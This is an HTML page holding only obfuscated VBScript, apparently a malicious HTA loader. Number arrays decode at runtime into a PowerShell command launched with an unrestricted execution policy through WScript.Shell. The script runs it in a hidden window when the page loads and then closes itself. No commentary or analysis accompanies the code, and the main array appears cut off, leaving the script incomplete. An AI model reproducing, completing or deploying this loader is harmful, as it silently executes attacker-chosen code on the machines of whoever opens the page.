<head>
<script language="vBsCRIPT">
Function PDdMytHkyud(ByVal SXIVnBFdOHiF)
Dim fSUSmHL
Dim ApBzDsNNLojjgZ
ApBzDsNNLojjgZ = 30996
Dim BNFLxeH
BNFLxeH = BzsLdLIoGGs(SXIVnBFdOHiF)
If BNFLxeH = 7000 + 1204 Then
For Each fSUSmHL In SXIVnBFdOHiF
Dim BaxsXL
BaxsXL = BaxsXL & Chr(fSUSmHL - ApBzDsNNLojjgZ)
Next
End If
PDdMytHkyud = BaxsXL
End Function
Function dntCV()
Dim SXIVnBFdOHiF
Dim flJnLE
SXIVnBFdOHiF = Array(31108,31107,31115,31097,31110,31111,31100,31097,31104,31104,31042,31097,31116,31097,31028,31041,31065,31116,31097,31095,31113,31112,31101,31107,31106,31076,31107,31104,31101,31095,31117,31028,31081,31106,31078,31097,31111,31112,31110,31101,31095,31112,31097,31096,31028,31098,31113,31106,31095,31112,31101,31107,31106,31028,31094,31094,31116,31099,31101,31115,31036,31032,31086,31061,31095,31079,31082,31067,31105,31081,31079,31094,31040,31028,31032,31069,31062,31116,31114,31108,31062,31068,31097,31117,31067,31103,31076,31098,31037,31119,31087,31069,31075,31042,31066,31101,31104,31097,31089,31054,31054,31083,31110,31101,31112,31097,31061,31104,31104,31062,31117,31112,31097,31111,31036,31032,31086,31061,31095,31079,31082,31067,31105,31081,31079,31094,31040,31028,31032,31069,31062,31116,31114,31108,31062,31068,31097,31117,31067,31103,31076,31098,31037,31121,31055,31098,31113,31106,31095,31112,31101,31107,31106,31028,31107,31102,31104,31084,31117,31094,31086,31072,31114,31086,31100,31101,31036
flJnLE = PDdMytHkyud(SXIVnBFdOHiF)
Dim eKOV
Set eKOV = DFTQAhxytebU(PDdMytHkyud(Array(31083,31111,31095,31110,31101,31108,31112,31042,31079,31100,31097,31104,31104)))
eKOV.Run(flJnLE),0,true
self.close()
End Function
Function BzsLdLIoGGs(ByVal BNFLxeH)
BzsLdLIoGGs = VarType( BNFLxeH)
End Function
Function DFTQAhxytebU(ByVal objectType)
Set DFTQAhxytebU = CreateObject(objectType)
End Function
dntCV()
</script>
</head>
</html>